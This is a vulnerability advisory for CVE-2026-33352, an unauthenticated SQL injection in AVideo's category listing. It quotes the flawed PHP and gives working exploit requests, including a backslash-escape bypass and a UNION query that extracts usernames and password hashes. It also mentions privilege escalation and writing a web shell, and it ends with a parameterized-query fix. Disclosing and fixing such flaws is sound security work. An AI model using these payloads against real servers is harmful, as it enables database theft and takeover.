CVE-2026-33352
CRITICAL9.8EPSS 0.05%AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)
描述
### Summary An unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace("'", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. ### Affected Component **File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()` ```php if (!empty($_REQUEST['doNotShowCats'])) { $doNotShowCats = $_REQUEST['doNotShowCats']; if (!is_array($_REQUEST['doNotShowCats'])) { $doNotShowCats = array($_REQUEST['doNotShowCats']); } foreach ($doNotShowCats as $key => $value) { $doNotShowCats[$key] = str_replace("'", '', $value); // INSUFFICIENT } $sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )"; } ``` ### Root Cause 1. **Incomplete sanitization:** The only defense is `str_replace("'", '', $value)`, which strips single-quote characters. It does **not** strip backslashes (`\`). 2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern). 3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries. ### Exploitation MySQL, by default, treats the backslash (`\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL. **Step-by-step:** 1. The attacker sends: ``` GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20- ``` 2. After `str_replace("'", '', ...)`, values are unchanged (no single quotes to strip): - Element 0: `\` - Element 1: `) OR 1=1)-- -` 3. After `implode("', '", ...)`, the concatenated string is: ``` \', ') OR 1=1)-- - ``` 4. The full SQL becomes: ```sql AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') ) ``` 5. MySQL parses this as: - `'\'` — the `\` escapes the next `'`, making it a literal quote character inside the string. The string continues. - `, '` — the comma and space are part of the string. The next `'` (which was the opening quote of element 1) **closes** the string. - String value = `', ` (three characters: quote, comma, space) - `) OR 1=1)` — executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`. - `-- -` — SQL comment, discards the remainder `') )` Effective SQL: ```sql AND (c.clean_name NOT IN (', ') OR 1=1) ``` This always evaluates to `TRUE`. **For data extraction (UNION-based):** ``` GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20- ``` Produces: ```sql AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') ) ``` This appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing). ### Impact - **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration. - **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`). - **Availability:** Ability to drop tables or corrupt data. - **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server's document root. ### Suggested Fix Replace the string concatenation with parameterized queries: ```php if (!empty($_REQUEST['doNotShowCats'])) { $doNotShowCats = $_REQUEST['doNotShowCats']; if (!is_array($doNotShowCats)) { $doNotShowCats = array($doNotShowCats); } $placeholders = array_fill(0, count($doNotShowCats), '?'); $formats = str_repeat('s', count($doNotShowCats)); $sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )"; // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters } ``` Alternatively, use `$global['mysqli']->real_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.
受影響套件(1)
- Packagist/wwbn/avideofrom 0, <= 26.0
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |